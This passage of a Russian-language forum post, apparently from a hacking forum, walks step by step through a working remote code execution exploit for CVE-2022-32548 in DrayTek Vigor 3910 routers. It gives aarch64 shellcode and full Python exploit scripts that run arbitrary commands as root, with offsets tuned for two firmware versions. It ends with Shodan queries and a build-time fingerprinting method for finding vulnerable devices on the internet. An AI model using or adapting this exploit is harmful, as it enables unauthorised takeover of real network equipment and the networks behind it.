Продолжить исплнение программы:
Bash:
c

Шаг в исполнении:
Bash:
si

Продолжение в посте ниже
 
Пишем эксплоит
Вот мы и добрались до самого интересного - Эксплойта. Перевым делом определимся с боевой нагрузкой: для первого раза просто переполним буфер символами 'a'.
Теперь определимся с тем, куда попадут наши символы. Ещё не забыли что стек в aarch64 растёт вниз? Отлично.

Подготовка
Сейчас я буду объяснять довольно неочвединый момент, по крайней мере для тех кто ещё не сталкивался с aarch64, поэтому - следите за руками.
И так, мы знаем что стек растёт вниз, однако как же в таком случае происходит запись в наш буфер? Давайте взглянем на листинг функции b64_decode.
32.jpg

Я подчеркнул красным нужное нам место. Тут чётко видно, что запись в буфер производится от младшего адреса к старшему, так как смещение растёт а не убывает.

Что это значит для нас? Это влияет на то как мы будем перехватывать поток исполнения программы, а точнее не как, а где.
Инструкция ret в aarch64 переходит по адресу лежашему в регистре x30. В начале выполнения каждой функции этот регистр сохраняется на стеке, а в конце выполнения - востанавлиается со стека.

Тут стоит упомянуть что в A64 нет привычных всем нам push и pop инструкций, вместо них здесь инструкции LDR и STR. На самом деле не только они, ещё LDM и STM, где M это Mutiply, то есть несколько. Кроме них также имеются STP и LDP, где P это Pair, то есть пара, они то, в большинстве своём, и используются в начале и конце функций. Давайте взглянем на это в Binary Ninja.

Вот сохранение регистров x29 и x30(x30 - адрес возврата, x29 - указатель на stack frame):
33.png


А вот востановление состояния регистров:
34.png


Раз с этим определились, идём дальше.
Где конкретно лежат сохранённые значения? В конце stack frame функции. Выглядеть это будет примерно так:
35.png


Теперь вернёмся к нашему буферу. Раз уж мы знаем что стек растёт вниз, а буфер вверх. Очевидно что мы будем переписывать адрес возврата не текушей функции, а предыдушей.
Но перед тем как искать функцию адрес возврата которой мы будет переписывать, нужно определиться с положением нашего буфера в памяти. Сделать это просто, достаточно взглянуть на аргументы функции b64_decode:
36.png

Наш буфер будет лежать в стеке функции cgiWebLogin.

Чтобы найти функцию жертву, достаточно узнать как конкретно поток исполнения попадает в cgiWebLogin. Сделать это тоже не сложно, достаточно воспользоваться отладчиком. Давайте назовём эту функцию cgiCaller:
37.png


Для того чтобы упростить вам понимание происходяшего, я нарисовал простую схему, отражающее всё одной картинкой:
31.png


Сохраним адрес возврата cgiCaller на будущее и преступим к написаню первой версии эксплойта.

Переполняем буфер
Начнём с простого, отправим http запрос на 80(HTTP) порт нашего Vigor'a. На порт 443(HTTPS) оправлять запросы будет немного сложнее, поэтому вернёмся к этому вопросу позже, а сейчас сконцентрируемся на 80(HTTP) порту.

Вот функция принимающая в качестве аргументов поля aa и ab, и отправляющая запрос идетичный тому, который мы бы отправили через браузер:
Python:
def send_request(aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": "192.168.1.1", "Origin": "http://192.168.1.1", "Pragma": "no-cache", "Referer": "http://192.168.1.1/weblogin.htm"}

    cn = http.client.HTTPConnection('192.168.1.1', 80)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)

    r = cn.getresponse()
    print(r.status, r.reason)
    print(r.read())

Теперь перейдём к телу эксплойта. Переполнять будем поле ab. Создадим переменные aa и ab, а также посчитаем какое количество знаков '=' нужно добавить в конце.
Python:
aa_decoded = 'admin'
ab_decoded = 'a'*0x250

n = (len(ab_decoded) - 0x54) * 4

Теперь закодируем нашу строку в base64 и добавим к ней наши сиволы '=':
Python:
equals = '=' * n
payload = base64.b64encode(bytes(ab_decoded, 'utf-8')) + bytes(equals, 'utf-8')

Вот и всё, осталось отправить запрос и посмотреть на него через отладчик:
Python:
send_request(base64.b64encode(bytes(aa_decoded, 'utf-8')), payload)

Вот полный код первой версии:
Python:
import http.client
import urllib.parse
import base64

def send_request(aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": "192.168.1.1", "Origin": "http://192.168.1.1", "Pragma": "no-cache", "Referer": "http://192.168.1.1/weblogin.htm"}

    cn = http.client.HTTPConnection('192.168.1.1', 80)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)

    r = cn.getresponse()
    print(r.status, r.reason)
    print(r.read())

def main():
    aa_decoded = 'admin'
    ab_decoded = 'a'*0x250

    n = (len(ab_decoded) - 0x54) * 4

    encoded_size = len(base64.b64encode(bytes(ab_decoded, 'utf-8')))
    equals = '=' * n
    payload = base64.b64encode(
        bytes(ab_decoded, 'utf-8')) + bytes(equals, 'utf-8')

    print("[+] Sending trigger payload to 192.168.1.1:80")
    print("[*] decoded_size: ", len(ab_decoded))
    print("    quals: ", n)
    print("    expecting size: ", 0x54)
    print("    encoded size: ", encoded_size)
    print("[*] Original string: ", ab_decoded)
    print("[*] Encoded string: ", payload)

    print("\nOutput: ")
    send_request(base64.b64encode(bytes(aa_decoded, 'utf-8')), payload)


main()

Установим брейкпоинт на адрес ret инструкции в конце cgiCaller и запустим наш эксплоит.
В отладчике получим примерно следующее:
38.png


Как вы видите, регистры x29 и x30 успешно переписанны. Осталось узнать их смещение

Ищем смещение
Тут дело простое, сделать это можно разными способами. Как в ручную, так и спомощью генератора паттернов. Я оставлю этот выбор вам и просто покажу следующую версию эксплойта с минимальными изменениями:
Python:
import http.client
import urllib.parse
import base64

def send_request(aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": "192.168.1.1", "Origin": "http://192.168.1.1", "Pragma": "no-cache", "Referer": "http://192.168.1.1/weblogin.htm"}

    cn = http.client.HTTPConnection('192.168.1.1', 80)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)

    r = cn.getresponse()
    print(r.status, r.reason)
    print(r.read())

def main():
    aa_decoded = 'admin'
    ab_decoded = 'a'*0x210 + 'b'*0x8 + 'c'*0x38

    n = (len(ab_decoded) - 0x54) * 4

    encoded_size = len(base64.b64encode(bytes(ab_decoded, 'utf-8')))
    equals = '=' * n
    payload = base64.b64encode(
        bytes(ab_decoded, 'utf-8')) + bytes(equals, 'utf-8')

    print("[+] Sending trigger payload to 192.168.1.1:80")
    print("[*] decoded_size: ", len(ab_decoded))
    print("    quals: ", n)
    print("    expecting size: ", 0x54)
    print("    encoded size: ", encoded_size)
    print("[*] Original string: ", ab_decoded)
    print("[*] Encoded string: ", payload)

    print("\nOutput: ")
    send_request(base64.b64encode(bytes(aa_decoded, 'utf-8')), payload)


main()

Вот как выглядят регистры x29 и x30 после исполнения этого кода:
39.png


Пишем шеллкод
Настало время научить наш эксплоит делать что-то вменяемое. Для начала попробуем заставить его вывести что-нибудь в консоль.

Для этого нам нужно вызвать некую функцию, и передать ей правильные аргументы. Ещё в начале статьи я упомянул что сегодня нас не будет ограничивать ничего, ни stack canaries, ни nx битов. Поэтому мы просто закинем и шеллкод и строку на стек, и поместим в регистр x30 адрес первой иснтрукции шеллкода.

Чтож, начнём с поиска функции которая выведет для нас текст в консоль. Не буду сильно вас нагружать, после некоторового времени с отладчиком и дизассемблером в руках я нашёл её:
40.png


Всё нам нужно это передать ей в качестве аргумента указатель на нашу строку.
Для наглядности давайте заставим её крутиться в цикле.

Теперь наметим план будующего стека. Первым положим шеллкод, и сразу следом за ним указатели на строку и функцию. Далее добавим новые x29 и x30, чтобы функции printf было куда вернуться. А уже после них добавим само тело строки. После них добавим некоторое количество мусора, чтобы соблюсти смещение. А уже за ним x29 и x30 для того чтобы перехватить исполнение. На словах это трудно воспринять, поэтому вот схема.
  1. Шеллкод
  2. Указатель на строку
  3. Указатель на printf
  4. Следующий x29
  5. Следующий x30
  6. Строка
  7. Подушка из нулей
  8. Мусор
  9. x29
  10. x30
А вот теперь, когда мы наметили план нашего буфера, мы переходим к написанию шеллкода. Начнём с того что сохраним состояние регистра sp(Stack Pointer):
Код:
mov x10, sp

Далее уменьшим адрес так, чтобы он указывал на нужные нам значения:
Код:
sub x10, x10, 0x268
Ситаксис инструкции sub предпологает, что первым идёт регистр в который попадёт значение, вторым - регистр с уменьшаемым значением, третьим - вычитаемое. Проще будет объяснить это псевдокодом:
Код:
a = 0
b = 10
sub a, b, 3
После выполнения этого кода, значение в переменной а будет 7. Надеюсь доступно объяснил.

А теперь не простой момент, тк мы по сути возвращаемся из cgiCaller, то новый stack frame функции printf наложится на наш и перепишет весь наш буфер. Чтобы этого избежать, нужно уменьшить значение регистра sp так, чтобы новый stackframe не затронул наш буфер, лежаший в stackframe функции cgiWebLogin:
Код:
sub sp, sp, 0x288

Этот момент не совсем очевидный, поэтому я нарисовал схемы чтобы отразить всё происходящее. Так измениться стек если мы не будем делать ничего:
41.png

Как видите, наши значения будут переписанны.

А вот чего мы добьёмся уменьшив значение регистра sp(Stack Pointer)
42.png


Надеюсь теперь стало ясно зачем нужен этот шаг.

Далее начнём попарно сохранять нужные нам значения в регистры. Так наш регистр x10 уже указывает на указатель на строку, схораним его и идущий за ним указатель на printf:
Код:
ldp x0, x9, [x10], 0x10

Далее сохраним новые значение для x29 и x30:
Код:
ldp x29, x30, [x10], 0x10

Теперь прыгнем на адрес который мы схоранили в x9(printf):
Код:
br x9

Но это не всё. Я не упомянул ещё один момент. Из за того что мы уменьшили значение регистра sp на 0x288, после того как функция printf вернётся, значние регистра sp будет меньше чем нам нужно для того чтобы снова выполнить шеллкод ещё раз. Поэтому самой первой инструкцией шеллкода будет добавление к регистру sp 0x288:
Код:
add sp, sp, 0x288

Вот полный код шеллкода:
Код:
1: ADD sp, sp, 0x288
2: MOV x10, sp
3: SUB x10, x10, 0x268
4: SUB sp, sp, 0x288
5: LDP x0, x9, [x10], 0x10
6: LDP x29, x30, [x10], 0x10
7: BR x9

Давайте я объясню как это будет работать по порядку:
  1. После перехвата потока исполнения мы попадём на вторую инструкцию шеллкода
  2. Вторая инструкция сохранит значение sp в регистре x10
  3. Мы уменьшаем значение регистра x10 так, чтобы он указывал на хранящийся в буфере указатель на строку
  4. Вычитаем из регистра sp 0x288 чтобы схоранить stackframe с нашим буфером
  5. Сохраняем указатели на строку и функцию
  6. Сохраняем следующие регистры x29 и x30
  7. Переходим к исполнению printf
После того как printf вернётся, поток исполнения попадёт на первую инструкцию, которая добавит в регистр sp 0x288, что вернёт его в нормальное состояние, далее исполнение продолжиться в том-же порядке.

Наверняка это не самый оптимальный шеллкод, но он работает.
50.jpg


Если у вас есть идея как реализовать тоже самое меньшим количеством инструкций - будет интересно почтитать.

Для сборки этого шеллкода вам понадобится указанный в начале стати gnu компилятор: gcc-aarch64-linux-gnu
Чтобы собрать нужна всего одна команда:
Bash:
aarch64-linux-gnu-gcc -c -O0 shellcode.s

А чтобы после сборки прочитать байткод:
Bash:
aarch64-linux-gnu-objdump -D shellcode.o

Собираем эксплойт
Настало время написать эксплоит.
Функция отправки запроса останется такой-же:
Python:
def send_request(aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ', 'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})
   
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive", "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": "192.168.1.1", "Origin": "http://192.168.1.1", "Pragma": "no-cache", "Referer": "http://192.168.1.1/weblogin.htm"}

    cn = http.client.HTTPConnection('192.168.1.1', 80)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)

    r = cn.getresponse()

Теперь к телу шеллкода. Для начала объявим переменные aa и ab так, как это было изначально:
Python:
aa_decoded = 'admin'
ab_decoded = 'a'*0x210 + 'b'*0x8 + 'c'*0x38

Далее создадим переменную с нашим шеллкодом:
Python:
shellcode = b'\xff\x23\x0a\x91\xec\x03\x00\x91\x4a\xa1\x09\xd1\xff\x23\x0a\xd1\x40\x25\xc1\xa8\x5d\x79\xc1\xa8\x20\x01\x1f\xd6\x00\x00\x00\x00'

Теперь возьмём произвольную строку:
Python:
string = b'\x78\x73\x73\x2e\x69\x73\x0a\x00' # xss.pro\n

Далее добавим указатели на строку и функцию:
Python:
str_ptr = b'\x18\xd2\x1d\x46\x00\x00\x00\x00'
fn_ptr = b'\xf0\x32\xdf\x40\x00\x00\x00\x00'

Теперь добавим новые x29 и x30:
Python:
next_x29 = b'\x60\xe4\x1d\x46\x00\x00\x00\x00'
next_x30 = b'\xd8\xe1\x1d\x46\x00\x00\x00\x00'

И те x29 и x30, с помощью которых мы перехватим исполнение:
Python:
x29 = b'\x60\xe4\x1d\x46\x00\x00\x00\x00'
x30 = b'\xdc\xe1\x1d\x46\x00\x00\x00\x00'

Соберём нашу нагрузку воедино, согласно плану который мы разобрали ранее:
Python:
ab_payload =  shellcode + str_ptr + fn_ptr + next_x29 + next_x30 + string + zeroes + b'\x63'*junk_size + x29 + x30 + b'\x65'*0x38

Посчитаем количество нулей:
Python:
n = (len(ab_decoded) - 0x54) * 4

Дальнейший процесс не отличается от первой версии.

Вот код эксплойта целиком:
Python:
import http.client
import urllib.parse
import base64


def send_request(aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": "192.168.1.1", "Origin": "http://192.168.1.1", "Pragma": "no-cache", "Referer": "http://192.168.1.1/weblogin.htm"}

    cn = http.client.HTTPConnection('192.168.1.1', 80)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)

    r = cn.getresponse()


def main():
    aa_decoded = 'admin'
    ab_decoded = 'a'*0x210 + 'b'*0x8 + 'c'*0x38

    # Shellcode size = 0x20
    shellcode = b'\xff\x23\x0a\x91\xec\x03\x00\x91\x4a\xa1\x09\xd1\xff\x23\x0a\xd1\x40\x25\xc1\xa8\x5d\x79\xc1\xa8\x20\x01\x1f\xd6\x00\x00\x00\x00'

    zeroes = b'\x00\x00\x00\x00\x00\x00\x00\x00'
    # xss.pro\n
    string = b'\x78\x73\x73\x2e\x69\x73\x0a\x00'

    str_ptr = b'\x18\xd2\x1d\x46\x00\x00\x00\x00'
    fn_ptr = b'\xf0\x32\xdf\x40\x00\x00\x00\x00'

    next_x29 = b'\x60\xe4\x1d\x46\x00\x00\x00\x00'
    next_x30 = b'\xd8\xe1\x1d\x46\x00\x00\x00\x00'

    x29 = b'\x60\xe4\x1d\x46\x00\x00\x00\x00'
    x30 = b'\xdc\xe1\x1d\x46\x00\x00\x00\x00'

    junk_size = 0x208 - 0x20 - 0x8 - 0x8 - 0x8 - 0x8 - 0x8 - 0x8

    ab_payload = shellcode + str_ptr + fn_ptr + next_x29 + next_x30 + \
        string + zeroes + b'\x63'*junk_size + x29 + x30 + b'\x65'*0x38

    n = (len(ab_decoded) - 0x54) * 4

    encoded_size = len(base64.b64encode(bytes(ab_decoded, 'utf-8')))
    equals = '=' * n
    payload = base64.b64encode(ab_payload) + bytes(equals, 'utf-8')

    print("[+] Sending trigger payload to 192.168.1.1:80")
    print("[*] decoded_size: ", len(ab_decoded))
    print("    quals: ", n)
    print("    expecting size: ", 0x54)
    print("    encoded size: ", encoded_size)
    print("[*] Original string: ", ab_decoded)
    print("[*] Encoded string: ", payload)

    send_request(base64.b64encode(bytes(aa_decoded, 'utf-8')), payload)


main()

Чтож, давайте запустим эксплоит и посмотрим в консоль:
44.png


Отлично, наш эксплоит работает. Можно загружать боевую нагрузку!

Загружаем боевую нагрузку
Перед тем как загружать боевую нагрузку, нужно понять: Что грузить? Ответ на этот вопрос, не такой очевидный как кажется, ведь мы крутимся внутри qemu. Для того чтобы выбраться из qemu, нам пригодится одна из функций лежащая в sohod64.bin. Она отравляет команду через сокет, команда позже будет выполнена под root'ом. Для удобства я назвал эту функцию vm_escape_mb:
46.png


Для того чтобы вызвать не printf, а vm_escape_mb, нам достаточно поменять адрес функции:
Python:
# vm_escape_mb = 0x40b79948
fn_ptr = b'\x48\x99\xb7\x40\x00\x00\x00\x00'

Для того чтобы избежать запуска функции в цикле, можем просто закоментировать первую строчку в нашем шеллкоде:
Код:
1: // ADD sp, sp, 0x288
2: MOV x10, sp
3: SUB x10, x10, 0x268
4: SUB sp, sp, 0x288
5: LDP x0, x9, [x10], 0x10
6: LDP x29, x30, [x10], 0x10
7: BR x9

Помимо этого я изменил передаваемую строку с константы, на значение читаемое из консоли, для наглядности:
Python:
print("Enter command to run: ")
command = input()
string = bytes(
    command, 'utf-8')
zeroes1 = (8 - (len(string) % 8)) * b'\x00'
А также сделал ip получаемым из аргумента.

Кроме того, нам давно пора перейти с 80 порта(HTTP), на 443(HTTPS). Для этого я воспользовался библиотекой ssl:
Python:
import sys
import ssl

ssl._create_default_https_context = ssl._create_unverified_context


def send_request(ip, aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": ip, "Origin": "https://" + ip, "Pragma": "no-cache", "Referer": "https://" + ip + "/weblogin.htm"}

    cn = http.client.HTTPSConnection(ip, 443)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)

Вот итоговый код эксплойта с боевой нагрузкой:
Python:
import http.client
import urllib.parse
import base64
import sys
import ssl

ssl._create_default_https_context = ssl._create_unverified_context


def send_request(ip, aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": ip, "Origin": "https://" + ip, "Pragma": "no-cache", "Referer": "https://" + ip + "/weblogin.htm"}

    cn = http.client.HTTPSConnection(ip, 443)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)


def main():
    print("[*] CVE-2022-32548 exploit")
    print("[*] Vigor 3910 FW: 3.9.6\n")
    if len(sys.argv) < 2:
        print("[!] Usage: exploit396.py target_ip")
        sys.exit()

    ip = sys.argv[1]
    print("Enter command to run: ")
    command = input()

    aa_decoded = 'admin'
    ab_decoded = 'a'*0x210 + 'b'*0x8 + 'c'*0x38

    # Shellcode size = 0x20
    shellcode = b'\x00\x00\x00\x00\xec\x03\x00\x91\x4a\xa1\x09\xd1\xff\x23\x0a\xd1\x40\x25\xc1\xa8\x5d\x79\xc1\xa8\x20\x01\x1f\xd6\x00\x00\x00\x00'

    zeroes2 = b'\x00\x00\x00\x00\x00\x00\x00\x00'
    string = bytes(
        command, 'utf-8')

    zeroes1 = (8 - (len(string) % 8)) * b'\x00'

    str_ptr = b'\x18\xd2\x1d\x46\x00\x00\x00\x00'
    # vm_escape_mb = 0x40b79948
    fn_ptr = b'\x48\x99\xb7\x40\x00\x00\x00\x00'

    next_x29 = b'\x60\xe4\x1d\x46\x00\x00\x00\x00'
    next_x30 = b'\xd8\xe1\x1d\x46\x00\x00\x00\x00'

    x29 = b'\x60\xe4\x1d\x46\x00\x00\x00\x00'
    x30 = b'\xdc\xe1\x1d\x46\x00\x00\x00\x00'

    junk_size = 0x208 - 0x20 - 0x8 - 0x8 - 0x8 - 0x8 - \
        0x8 - (len(string) + (8 - (len(string) % 8)))

    ab_payload = shellcode + str_ptr + fn_ptr + next_x29 + next_x30 + \
        string + zeroes1 + zeroes2 + b'\x63'*junk_size + x29 + x30 + b'\x65'*0x38

    n = (len(ab_decoded) - 0x54) * 4

    encoded_size = len(base64.b64encode(bytes(ab_decoded, 'utf-8')))
    equals = '=' * n
    payload = base64.b64encode(ab_payload) + bytes(equals, 'utf-8')

    print("[+] Sending exploit payload:")
    print('[*] ' + command + '\n')
    print("[*] decoded_size: ", len(ab_decoded))
    print("[*] quals: ", n)
    print("[*] expecting size: ", 0x54)
    print("[*] encoded size: ", encoded_size)

    send_request(ip, base64.b64encode(bytes(aa_decoded, 'utf-8')), payload)
    print("[*] Payload send. Wait a bit before connecting")
    print("[+] Done")


main()

После запуска:
47.png


В отладчике получаем следующее:
48.png


Оптимизация под другие версии
Для того чтобы быстро оптимизировать эксплоит под другую версию DrayOs, нам нужно:
  1. Найти адрес vm_escape_mb
  2. Один раз запустить DrayOs с подключенным отладчиком
Почему именно это - поймёте дальше

Давайте попробуем оптимизировать наш эксплойт под упомянутую ранее версию 3.9.7.2

1 - Начнём с поиска vm_escape_mb. Для этого достаточно найти все строки в sohod64.bin и посмотреть какая функция пользуется строкой exe_linux_cmd:
49.jpg


2 - Запустим DrayOs, и подключим отладчик. После этого установим брейкпоин на адрес инструкции return в конце функции cgiCaller. В данном случае - 0x40141f60
Код:
b *0x40141f60

3 - Заходим в вебпанель с любыми username и password, и внемательно смотрим в отладчик
51.png


4 - Всё что нам нужно это получить значения регистров x29 и x30. Stack pointer нам в общем-то уже не нужен, так как мы прошли этап на котором его значение было востановлено.
52.png


5 - Нам нужно изменить ключевые переменные: fn_ptr, x29, next_x29, x30, str_ptr, и next_x30. С первыми тремя всё +- ясно, они и так нам известны. А что делать с остальными?

Тут придётся включить математику. Для того чтобы получить адрес первой инструкции шеллкода(next_x30) нам нужно отнять от x29 0x288:
Python:
next_x30 = b'\xe8\xb8\x1f\x46\x00\x00\x00\x00'

Для получения второй инструкции шеллкода(переменная x30), просто добавим к первой инструкции шеллкода 4:
Python:
x30 = b'\xec\xb8\x1f\x46\x00\x00\x00\x00'

Теперь посчитаем адрес строки на стеке. Для этого достаточно отнять от значения регистра x29 0x248:
Python:
str_ptr = b'\x28\xb9\x1f\x46\x00\x00\x00\x00'

Для того чтобы проверить верны ли наши новые смещения, снова воспользуемся функцией printf:
53.png


Как видете, всё работает. Теперь достаточно подставить наши смещения в эксплоит для версии 3.9.6, и мы получим боевую версию сплойта для 3.9.7.2:
Python:
import http.client
import urllib.parse
import base64
import sys
import ssl

ssl._create_default_https_context = ssl._create_unverified_context


def send_request(ip, aa, ab):
    params = urllib.parse.urlencode({'aa': aa, 'ab': ab, 'sslgroup': '---', 'obj3': ' ',
                                    'obj4': ' ', 'obj5': ' ', 'obj6': ' ', 'obj7': ' ', 'sFormAuthStr': '2x7JQwcQwnsDQD6'})

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive",
               "Content-Length": len(params), "Content-Type": "application/x-www-form-urlencoded", "Host": ip, "Origin": "https://" + ip, "Pragma": "no-cache", "Referer": "https://" + ip + "/weblogin.htm"}

    cn = http.client.HTTPSConnection(ip, 443)
    cn.request('POST', '/cgi-bin/wlogin.cgi', params, headers)


def main():
    print("[*] CVE-2022-32548 exploit")
    print("[*] Vigor 3910 FW: 3.9.7.2\n")
    if len(sys.argv) < 2:
        print("[!] Usage: exploit396.py target_ip")
        sys.exit()

    ip = sys.argv[1]
    print("Enter command to run: ")
    command = input()

    aa_decoded = 'admin'
    ab_decoded = 'a'*0x210 + 'b'*0x8 + 'c'*0x38

    # Shellcode size = 0x20
    shellcode = b'\x00\x00\x00\x00\xec\x03\x00\x91\x4a\xa1\x09\xd1\xff\x23\x0a\xd1\x40\x25\xc1\xa8\x5d\x79\xc1\xa8\x20\x01\x1f\xd6\x00\x00\x00\x00'

    zeroes2 = b'\x00\x00\x00\x00\x00\x00\x00\x00'
    string = bytes(
        command, 'utf-8')

    zeroes1 = (8 - (len(string) % 8)) * b'\x00'

    # string address = 0x461fb928
    str_ptr = b'\x28\xb9\x1f\x46\x00\x00\x00\x00'
    # vm_escape_mb = 0x40b843ac
    fn_ptr = b'\xac\x43\xb8\x40\x00\x00\x00\x00'

    next_x29 = b'\x70\xbb\x1f\x46\x00\x00\x00\x00'
    next_x30 = b'\xe8\xb8\x1f\x46\x00\x00\x00\x00'  # first shellcode instruction

    x29 = b'\x70\xbb\x1f\x46\x00\x00\x00\x00'
    x30 = b'\xec\xb8\x1f\x46\x00\x00\x00\x00'  # second shellcode instruction

    junk_size = 0x208 - 0x20 - 0x8 - 0x8 - 0x8 - 0x8 - \
        0x8 - (len(string) + (8 - (len(string) % 8)))

    ab_payload = shellcode + str_ptr + fn_ptr + next_x29 + next_x30 + \
        string + zeroes1 + zeroes2 + b'\x63'*junk_size + x29 + x30 + b'\x65'*0x38

    n = (len(ab_decoded) - 0x54) * 4

    encoded_size = len(base64.b64encode(bytes(ab_decoded, 'utf-8')))
    equals = '=' * n
    payload = base64.b64encode(ab_payload) + bytes(equals, 'utf-8')

    print("[+] Sending exploit payload:")
    print('[*] ' + command + '\n')
    print("[*] decoded_size: ", len(ab_decoded))
    print("[*] quals: ", n)
    print("[*] expecting size: ", 0x54)
    print("[*] encoded size: ", encoded_size)

    send_request(ip, base64.b64encode(bytes(aa_decoded, 'utf-8')), payload)
    print("[*] Payload send. Wait a bit before connecting")
    print("[+] Done")


main()

Подобные манипуляции можно без особого труда провести с любой версией. Надеюсь принцип понятен, так что я не буду писать ещё вагон текста про остальные версии.

One more thing
Так как же определить версию? С переменным успехом с этой задачей справляется shodan. Достаточно просто поставить ключ:
Код:
version:"3.9.6"

Ах да, вот запрос для поиска Vigor 3910 в Shodan:
Код:
ssl:DrayTek http.status:200 product:"DrayTek Vigor3910 Series"

Однако Shodan не всегда может определить версию. Иногда он не справляется и version просто не отображается. Эксплуатация в таких условиях не возможна.

Честно сказать я понятия не имею как Shodan определяет версию прошивки. Поэтому я решил разработать свой способ.

Долгое время я искал за что можно зацепиться на странице логина. И всё таки нашёл! Способ не приметивный, приходится подумать. Но в большинстве случаев рабочий. Давайте взглянем на страницу логина какого-нибудь Vigor'а:
54.png


Видите что-нибудь? Давайте я упрощу задачу:
55.png


Вот оно, ключевое поле, buildtime! Само по себе оно нам ничего не даёт, однако давайте взглянем на даты создания файлов прошивок на сайте производителя.
56.png


На предыдущем скрине видно, что сборка была произведена 6 июля 2021 года. За 2 дня до выпуска версии 3.9.6.3! И да, я проверил через shodan, это версия 3.9.6.3.

Для удобства я составил таблицу с версиями прошивки и их датами релиза:
57.png


Раз уж мы нашли способ определить версию, давайте его автоматизируем и напишем скрипт!

Для начала импортируем нашу таблицу в python:
Python:
builds = [
    (2019, 12, 17, '3.9.1.2'),
    (2020, 2,  14, '3.9.1.3'),
    (2020, 3,   2, '3.9.2.0'),
    (2020, 4,  17, '3.9.2.1'),
    (2020, 6,  15, '3.9.2.2'),
    (2020, 8,  31, '3.9.2.3'),
    (2020, 10, 27, '3.9.2.4'),
    (2020, 12, 22, '3.9.2.5'),
    (2021, 3,  23, '3.9.6.0'),
    (2021, 6,   7, '3.9.6.2'),
    (2021, 7,   8, '3.9.6.3'),
    (2021, 10, 20, '3.9.7.1'),
    (2021, 12, 28, '3.9.7.2'),
    (2022, 4,  26, '4.3.1.1'),
    (2022, 5,   6, '4.3.1.0'),
]

Я сознательно не стал указывать пропатченые версии. Неузявимые к CVE-2022-32548 версии не имею build_time в странице логина. Да и конкретная версия неуязвимой прошивки нам не интересна.

Далее запросим страницу логина:
Python:
cn = http.client.HTTPSConnection('vigor_ip', 443)
cn.request('GET', '/weblogin.htm')

r = cn.getresponse()

